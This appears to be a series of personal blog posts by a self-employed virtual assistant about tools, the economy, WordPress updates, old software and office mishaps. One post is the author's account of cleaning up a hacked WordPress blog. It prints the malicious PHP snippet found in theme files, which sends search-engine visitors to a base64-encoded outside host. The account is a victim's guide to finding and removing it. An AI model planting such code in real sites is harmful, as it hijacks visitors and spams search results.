I like to look at sale catalogs but end up throwing down my hard-earned cash for things like a new garden shovel and wheel barrow, or a new adjustable wrench. These I squirrel away so none of my men-folk (husband and sons) know where they are stored.

There is just something about a shiny, new tool. Well, I like OPI nail polishes, too, but they don’t last very long.

With our summer rains here now in northern Arizona, I can look out my office window at a huge pile of mulch, deposited there by an industrial chipper following substantial tree trimming in the last couple of weeks. In fact, I’m going out to spread some around now!

Being a self-employed entrepreneur often means lots of solitude and too many hours spent in the office. Here’s hoping you’ll be able to enjoy some of your other interests in these dog days of summer!

Let’s say you’ve cultivated a new, potential client, but he or she is worried about the wobbly economy here in the U.S.

What will it take to get the contract?

What if you specialize in personal assistance services or real estate services? Are you concerned about losing your clients who are tightenting their belts?

In talking with friends who own retail shops and restaurants, the message I’m hearing is that they are happy they are in established businesses and wouldn’t use this time to make any changes.

I disagree.

Whether you are a Virtual Assistant or you work in an entirely different industry, I think this is the perfect time to dust off your business plan and rethink where you’re headed. Don’t think of it as damage control but an opportunity to fine tune.

Shaine Mata wrote on this topic in Is Personal Outsourcing and Option in a Slow Economy?

The App Gap discusses Leveraging the Virtual Workspace during a recession. Using Virtual Assistants isn’t overtly suggested in Celine Roque’s article, but a VA would be right at home in facilitating a client’s transition to virtual workspaces.

What do you think?

Will more business owners decide it’s time to try a VA as they make adjustments in their brick-and-mortar operations? Will inexpensive offshore VAs be the big winners when the bottom line is driving many financial restructuring decisions?

What changes have you made in your business’ development? What have you learned from being an entrepreneur in a sliding economy?

Let’s sort it all out here!

I don’t know my way around version 2.6 yet as I just installed it. In fact, I was just getting used to 2.51 and then saw it was time to update again.

I used the WordPress Automatic Update plugin and crashed my site. Then, did it manually (fortunately my database was backed up and the Auto-updater had already turned off all my plugins) and got back up and functioning within about a half hour.

Lessons learned & points to ponder:

1. Don’t start an update while you are cooking dinner. Just don’t.
2. Check to see if there is a new release of the Auto Updater if you plan to use that. To be fair, I am not sure if that’s what caused the crash. I found a missing file using the usual needle in a haystack method and once I reinserted that file, all was well.
3. Now that I have built one client’s business site with WordPress, I have to figure out how to treat the need to update it all the time. How will the client feel about paying me for 30 minutes or more of my time sporadically whenever I tell him it’s time to update WordPress?

Need help?

Even though I’ve done WordPress updates a number of times, I always quake at the thought. It’s a good idea to review the directions before proceeding, in case anything unique pertains to the version you are updating to or from. Use these resources to manage your own update:

http://codex.wordpress.org/Upgrading_WordPress

http://codex.wordpress.org/Upgrading_WordPress_Extended

I can still recall hearing the name Microsoft sometime in the early 80’s, and wondering just what that even referred to?!

At that time, the computer I had at my disposal at work only ran off a floppy disk, (this is of course before computers had any memory to speak of) which had to be inserted into your compter’s disk drive to make anything happen. I wasn’t even aware I was USING software and often wondered what software looked like and what functions it could be expected to perform.

One of the first programs I owned was a grades management application, essentially a large spreadsheet into which you could enter your students’ names and grades on specific assignments, and then it would tell me what grade each kid had at that moment in time. This program revolutionized my teaching life! I could be on top of my students’ progress and grades in an instant, and had so much more time to spend planning great lessons as opposed to sitting with calculator in hand late into the night. If I was meeting with a parent, I could pull up the spreadsheet and show them just how their child was progressing. Commonplace today, but a huge leap forward back then.

Today, as an entrepreneur and self-employed person, I choose the kind of services I am providing and, therefore, the types of software on which I must be proficient. If it weren’t for AdobeSystems and Apple Computer, I wouldn’t be making a decent living in my present career as a Virtual Assistant specializing in web development and graphic design.

The longer I reflect, though, I can’t help but think about the activities that I just don’t find time for anymore, thanks to the advent and evolution of software that entails quite a bit of study and practice to achieve even basic proficiency. I’m drifting off to the good old days when I had time to garden, cook great meals, knit and sew on top of working a full time job and raising a family.

I’m looking out my office window at a gigantic pile of mulch that waits patiently for me to spread it. Too bad I don’t have some software that could do that for me…

Trading outside employment for self employment, I earned the right to being the sole decision maker when it came to purchasing new equipment (I love checking that box on surveys). My pride in being my own boss also means burning the midnight oil so that I can be up to speed enough on my latest technology purchases to be able to turn out a job the next day. Blaming software for what is probably just a downside of self-employment is unfair. But, it IS expensive and it DOES have to be upgraded all the time and there is NEVER an end to that cycle.

In comparison, my gardening (trowels, etc.), knitting (needles, etc.) and cooking (pots & pans) hardware have never been replaced and my sewing machine is 50 years old and still going strong. Not to mention the kitchen software (tablecloths, potholders and aprons) I inherited from my grandma, which are older than me.

Lost and gone forever? Not quite.

I thought that some of the software that I truly valued in the early years of my own computing experiences (and which led to my current ball and chain relationship with my technology) seemed either to have languished or altogether vanished. Not so in all cases.

• The now obsolete ClarisWorks was my first wordprocessor. I stubbornly held onto it until it turned into AppleWorks. I still run that morph of ClarisWorks for everyday wordprocessing tasks that don’t need to be delivered to clients. Read about the history of this one here.

• The tools which kept me organized when I first became a solopreneur were NowUpToDate and NowContact: I never met anyone else who used or had heard of them back when they were my workhorses. Does anyone still use these forerunners of contact management software? I just discovered they are still being distributed!

• Before there was Photoshop, there was Graphic Converter. Way before I could afford Photoshop or Photoshop Elements or Jasc’s PaintShopPro, this program got a daily workout in my office. It is a terrific graphics editing program that came as a free utility with one of my first computers. I have kept it installed ever since. I once had an issue about which I contacted the company and I heard back from the developer, Mr. Lemke, right away. I even got to meet him briefly at this year’s MacWorld 2008.

• Justin R. Cohen’s Baby Smash came installed on my first Apple IIe and my kids loved it to death. In fact, today they’re all grown men but they sometimes yell out “BabySmash!” at random moments, like other (normal?) people might holler “Bonzai!” I don’t think you can find it any longer, but here’s a newer alternative. And here’s a newer program, same name, that might be fun for those with little ones.

Thanks, Lorelle, for this somewhat provocative writing challenge. Maybe I’ll modify my work/life balance, so as to get back to churning out a little more of my own favorite software, uh, soft-ware, like the little green sweater pictured above.

He believes that he is simply stockpiling the water load on certain plants, which will help strengthen them over the long haul. (Like camels?) And then, he merrily races around the yard when it starts to rain again, watching the barrels fill up and overflow once again.

Hmmm. I had thought we were going to collect and store the water, saving it to disperse over the dry times ahead. And I stand beneath my rose-festooned umbrella, raising my eyebrows and biting my tongue at what I see as the over watering of drought-tolerant plants.

Who’s to say which of us is right or wrong?

I’m sure many families are pondering the same issue when it comes to money in the bank vs. money into the gas tank for family vacations or any other non-essential expenses.

Family holidays are an investment in your family’s memories. Overnight getaways are a way for individuals and couples alike to recharge their batteries.

My husband’s work is construction related and has slowed way down. Curiously, I haven’t noticed that happening in my own industry. But we are certainly paying close attention to the status of our unpaid invoices and keeping a close eye on this housing market.

I’m curious what other entrepreneurs are seeing in within their own niches. Are you tightening your belt and saving the water, so to speak, for the dry times ahead, or are you dispersing where you see fit as an investment in memories and family harmony?

Though I use Google’s Webmaster Tools regularly (which is where one finds messages from Google about misbehaving sites), I never did hear from Google in writing about the issue. I just noticed that I was gone from the SERPs, practically overnight, and traffic was way down, which are classic symptoms of this latest round of hacks.

Presume that Google is way overloaded dealing with these issues, and they conveyed their, uh, concern for my site by removing me from the SERPs in the first place

If you think you may have been hacked, or if you haven’t and want to make sure you aren’t, here are some things to look out for:

Has your blog vanished from the search engine listings and your traffic fallen off tremendously?
I had some medical issues which kept me occupied and away from my blog for awhile. I naively concluded I just need to write more to build them back up. Don’t make that assumption. Start looking at Google’s cached version of your site and you may be in for an unpleasant surprise.

Patting yourself on the back for running the latest version of WordPress?
Even though you may be running the latest version of WP, you may have been infected prior to upgrading and not know it. I upgraded on May 29 to WP 2.5.1; I think I was hacked on 4/25, and those nasty files clung to my site files during the upgrade. You have to remove them manually.

Losing Focus.
In the midst of searching for and carving out compromised files, I read some discussions on Google’s definition of duplicate content. Probably not a good idea to start tackling other issues in the midst the hack abatement, but not thinking clearly, I sped off in that direction.

I revamped the way WordPress displays my page content to make certain I wasn’t violating that guideline, quickly building a new freestanding index page from instructions I found in the WordPress codex and at dailyblogtips.com (thanks to a tip from a fellow IVAA member, Laura Nieberding. Thanks, Laura!).

Right after putting the finishing touches on that and patting myself for taking measures NOT to display duplicate page content, I returned hack abatement.

The next tip I read about concerned base64 code and cookies that might be installed in the head area of infected WordPress theme files. I had already checked for those and, at THAT point, wasn’t affected.)

But wait a minute…

To build my new archives page, I had just grabbed two files from one of the default theme folders on my Theme folder, to create my new archives page, since my own theme didn’t include those files.

Hideously, I opened those files up and, the base 64 and cookies redirection malicious code was embedded at the top of the header code. Here’s the code you are looking for (thanks to bloggerguide.net):
< ?php \
$seref=array(”google”,”msn”,”live”,”altavista”,
”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref)
if(strpos(strtolower
($_SERVER[’HTTP_REFERER’]),$ref)!==false){ $ser=”1?; break; }
if($ser==”1? && sizeof($_COOKIE)==0){ header(”Location: http://”.base64_decode(”YW55cmVzdWx0cy5uZXQ=”).”/”); exit;
}?>

In ignorance, I presumed that these default themes were installed (or installed over the top of previous versions) when I upgraded to 2.5.1. So, sliced that out, and continued down the list.

Be sure to notify Google of your efforts to remove offending code.
I wrote three separate “Request for Reconsideration” notes to Google, as I discovered more and made more inroads in digging out the offending code. Maybe overkill but I wanted to let them know I was working as hard as I could at eradicating that crap.

Report hidden code spam.
Google has a form you can use to report spammers, and those who employ hidden code, hidden links, and redirects. If someone embedded these in your site, find the embedded links and send thoseis a form you can fill out listing any offending web site that may have embedded code in your site, via a redirection. I sliced out an example of the hidden links, showing where they were redirecting to, in case that helped Google amass info on how these hacks are being accomplished.

I am not skilled in php, and am an average or below user of CSS. I do not want to be expert in hack abatement. Also, because I am a Mac user, I am largely inexperienced in dealing with hacks and viruses, etc.

What should others like me do about running blogs in view of the risk management and damage control that blogging seems to require now days???

Sigh. I love Google. I have had great luck over the years with DIY SEO and have always found Google’s resources to be extremely helpful.

Inexplicably, I seem to be in trouble with Google and have spent about 48 hours trying to figure out the issue, if there is one.

Sadly, I think it’s #$%@! hackers who are making a mockery of my attempt to run an informative blog. Nothing else to do but set other work aside and start looking for the evidence. From prior experience I know it will take me hours to find it.

Description of Problem:

This blog, Loosely Speaking, has suddenly disappeared from the search engine results pages where it once stood strong. If it is because of a violation of Google guidelines, I surmise that it was accomplished surreptitiously and I’ve been busy combing through my code, since I am pretty confident that I have not knowingly violated any of Google’s policies.

Here are the tactics I have tried, since I can’t find anything buried in my blog code:

1. Visited my account at Google Webmaster Tools to look for messages from Google, or indicators that there is something amiss with the site (didn’t find anything sketchy there to be concerned about).

2. Made sure my site map is up to date, just in case some of my more recent content wasn’t indexed yet.

3. Checked to see how many of my blog’s pages are indexed, and, yes, that’s looking good.

4. Wrote to Google to request reconsideration, explaining what I have done so far in trying to find what might be an issue resulting in my removal (though I hadn’t found anything). Wrote a followup request immediately after the first one. Wow, I am getting out of control!

5. Watched video at Webmaster Central Blog called “Requesting reconsideration using Google Webmaster Tools.” That had some helpful tips about looking (again) for hidden code.

6. Looking at Google’s cache view of my site, I see nothing initially, but when I click on “text view,” I have an AHA! moment. I see a whole bunch of embedded ringtone links at the bottom of the page. Are these the culprit? Or, are they a legitimate part of a Google Adsense ad that appears on my site? Could they be the reason I’ve been dropped from page listings?

Important to note: none of these links appear when I use “View Source” to look at my blog pages or when I use “View Source” to examine the php files within the blog. The links ONLY show up in Google’s cache view/text view.

7. Wrote ANOTHER request for reconsideration after FINALLY spotting those ringtone links.

8. Found a description of a do_action issue on Google’s Webmaster Tools Help discussion list:

“I found the problem and, yes, it was activated by requests containing “Google”, “Aol”, etc. The hack was embedded in the WordPress theme I had used, a theme called “[theme name removed]” (which is, ironically, otherwise a good theme). Anybody who is using [theme name removed] as a WordPress theme should look in footer.jsp, where a do_action call to “wp_footer” triggers the spam. I’m very glad to have finally solved this, and I pray Google will confirm that I have removed the violation and will restore me.”

So, I just removed that do_action tag, which appeared just above the body tag in my footer.php file. That may or may not be the right move: the tag looks like this, specifically: <?php do_action(’wp_footer’); ?> That tag probably calls some other legitimat functions that I may want/need on my blog, and I may have now broken those. For the moment, I am just hoping that works to solve the problem.

9. Reading further, in the Google Webmaster Tools discussion, someone asked:

“Have you found the actual function that embeds the links by any chance? “

And the reply was:

“Yes, I have — it’s in “defaultFilters.php”. The function’s name is a long series of digits and characters. It’s an obvious hack, once you see it — the problem is that most people probably never read their “defaultFilters.php” module.”

10. I downloaded my own file named default-filters.php, and stare at it. I have no idea what an “obvious hack” looks like.

11. With energy flagging, I headed over to WordPress Codex to see if I could find any other tips. There’s a lot of good info there; I just couldn’t find anything further to try.

Dejectedly, I sum up the “situation:”

I believe I have found some hidden links that were embedded by a hacker, which resulted in punitive action by Google.

I have modified my footer.php file in hopes of no ill results across the blog and grabbed my default-filters.php file, but can’t tell by looking at it where the code is embedded, or if I have even removed it. I have done everything I can.

How terribly vulnerable & cheated I feel. About ready to throw in the towel on blogging at this point.

A couple hours later…

Feeling better after a nice homemade smoothie, and here are some links for those who want to read more about Google’s position on hacking:

The Day Google Erased me From the Internet

Helping Hacked Sites

Three Tips to Secure Your WordPress Installation

WordPress Exploit Giving Backlinks, Redirects and Headaches, but no Visitors

Did Your WordPress Site get Hacked?

Addendum, 7/1/08: After MORE reading (see last two above articles) and a chat with my host’s Tech Support, I went into my directory and looked for bogus image files, ending with .giff, jpgg, pngg, and containing a variant on an existing file name, with _old or _new appended. Also, found many image files with .php appended.

These files are in my uploads folder, and match, in name, legitimate image files that I uploaded, but that were hacked into different names. Delete all those files that you can find.

She and I have both tackled such projects recently and Taryn asked if I would write a guest blog post sharing what I learned in the process.

Now that I have done it, exactly once, I can’t claim any expertise. However, the experience alone taught me so much and raised so many new questions that I find I want to keep talking about it.

Read about my conversion story over at Merrick Management & Media Services blog.

It’s one thing to disassemble a small site comprised of just a few pages and morph that content into a blog. But for a site of any size there’s a lot to master: the htaccess file for redirection; the architecture; the permalink structure; the loop; the CSS, and the page rank woes (for me anyway!) will make your eyes blur.

There is no magic wand, and the after-effects may be different than intended. And while you are losing sleep (and vision) toddling along with your conversion van, er, blog (I need a vacation!), your OTHER sites may suffer from neglect.

Nothing ventured, nothing gained, though, and you will learn a LOT from this undertaking.

Tell me about your conversion project and how it turned out.

Speaking of this, here are some related posts elsewhere on Loosely Speaking:

• Choose Wisely; Your Blogging Platform, That is
• Blog Backup Online
• Is Original Web Design a Dying Art?

This week, though, I was listening when the universe pointed out to me that my accounting system might need some fine tuning. Or, I might need to turn it over to someone else.

First, I misplaced an entire stack of client timesheets, representing all work done in the month of June. After some stress- and caffeine-fueled successful backtracking (forcing me to retrace my movements from Monday back to the previous Friday), I found them clipped to another project and (neatly) filed away.

Then, when I processed them and sent out my invoices yesterday, I made a small, template-based, error on every single one, requiring that I reinvoice and apologize to everyone who received the incorrect initial invoice.

Proving, loud and clear, that you can’t be great at everything you do.

Now, for two Mondays in a row I have been battered with that message from the moment I sat down at my desk to (I thought!) start my work week. Without going into the misfortunes of the previous week, I had to stop and think: what am I doing wrong here?

What should you do when you are forced to look at your shortcomings?

The first thing I did was ask my incredibly wise and supremely organized self-employed husband to help me pinpoint the flaw in my record-keeping system that allowed those papers to vanish, leaving me with NO back up record of the work I had completed. That took him about 2 minutes.

Next, I turned to my professional organization, the IVAA, to ask how I could prevent this mishandling of paperwork from derailing me again. As usual, my colleagues came up with some excellent practical solutions, including both a recommendation to computerize my timekeeping and adopt some better systems for keeping duplicate records and managing stacks of papers from going on the lam.

Lesson Learned:

Even though it had never happened before in my twelve years as a Virtual Assistant, I discovered a potentially very expensive gap in my system that needed to be corrected. Humbled, I had to acknowledge that my years of experience do not mean I am incapable of oversight in how I organize and execute my office systems.

Yes, it’s a joy to be my own boss, and I love that, while most of my work is done using complicated technology, I can balance that with a paper-and pencil record keeping system if I want, maintaining my own complex amalgam of yin and yang. No, that’s not me with the abacus, but I like that idea!

In working alone, you miss the daily checks and balances and potential for quick team-based problem-solving that co-workers can provide.

What do you think? Is it time for me to hire a bookkeeper? Or do I just need to spend more time with people?

Speaking of this, some related posts elsewhere in Loosely Speaking:

Invoice Daily, Monthly, Sometimes?

Stargazing and Profitability

Till today.

A client sent me a zipped file with the file extension you see in the title of this post and when I clicked on it to upzip (using the latest version of Stuffit Expander), it generated a bunch of XML stuff.

Googling that unfamiliar file extension, I found this discussion (and the apparent solution) on one of MS’s discussion forums.

From Mactopia, I found this description of the problem, er, solution:

“Open XML Converter allows you to convert Open XML files that were created in Office 2008 for Mac or Office 2007 for Windows so that you can open, edit, and save them in earlier versions of Office for Mac. Open XML Converter can convert Word documents, Excel workbooks, and PowerPoint presentations that are in the Open XML Format so that you can open and edit the files in Office 2004 for Mac and Office v. X for Mac. You can choose to convert and open one file, or convert a large number of files.”

So, what does this mean to you, if you get one of these files?

• FIRST you need to update your version of Office for Mac 2004 with a 11.5.0 Updater (you must have Jaguar/OSX10.2.8 or later).

• THEN, you will grab the Open XML File Format Converter for Mac 1.0 (for this you must be running Tiger/OSX 10.4.9 or later).

Pay attention to this discrepancy: if you are running Jaguar, you may update your version of Office, but you will have to update to Tiger to be able to run Open XML File Format Converter for Mac 1.0.

Both downloads you need were released just two days ago, and can be found here. The instructions are clear, but you’ll find if you click on “How to Install,” you land on a stylish window that encourages you to print the installation instructions. Someone forgot to create print stylesheets and you’ll get a document that is dark gray printed on black. At least I couldn’t read it, but then I’m 55 years old.

Here is another page where you’ll find the Mac 11.5.0 Updater and one for the Open XML Converter (on which the print out is legible).

Does that make you just a tad nervous? Are the downloads going to be buggy? Will you be able to open your Word docs? Did you happen to see how many updates and downloads and patches are released on a daily basis over there at Microsoft’s dowload center. Eek.

How does it work?

Well, the file did open, and I was able to edit it. Altogether, It took about an hour to find the reference to the issue, locate the downloads, read through the system requirements, download, install and test.

We’ll see.